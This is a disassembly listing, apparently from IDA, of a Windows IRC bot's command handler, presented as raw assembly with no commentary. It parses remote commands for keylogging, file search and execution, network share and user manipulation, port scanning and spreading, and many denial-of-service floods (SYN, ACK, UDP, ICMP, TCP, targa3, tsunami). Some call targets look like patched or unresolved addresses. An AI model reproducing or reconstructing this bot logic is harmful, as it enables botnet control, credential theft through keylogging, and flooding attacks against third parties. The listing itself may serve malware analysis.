		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42B0E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B074
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B04C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B020
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2680000h
		push	eax
		push	offset dword_42AFEC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF94
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF48
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF1C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AEFC
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AED8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	near ptr 2680000h
		nop
		push	eax
		push	offset dword_42AE9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE60
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE34
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE14
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADCC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADAC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD84
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD1C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42AB8C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset dword_42AB08
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
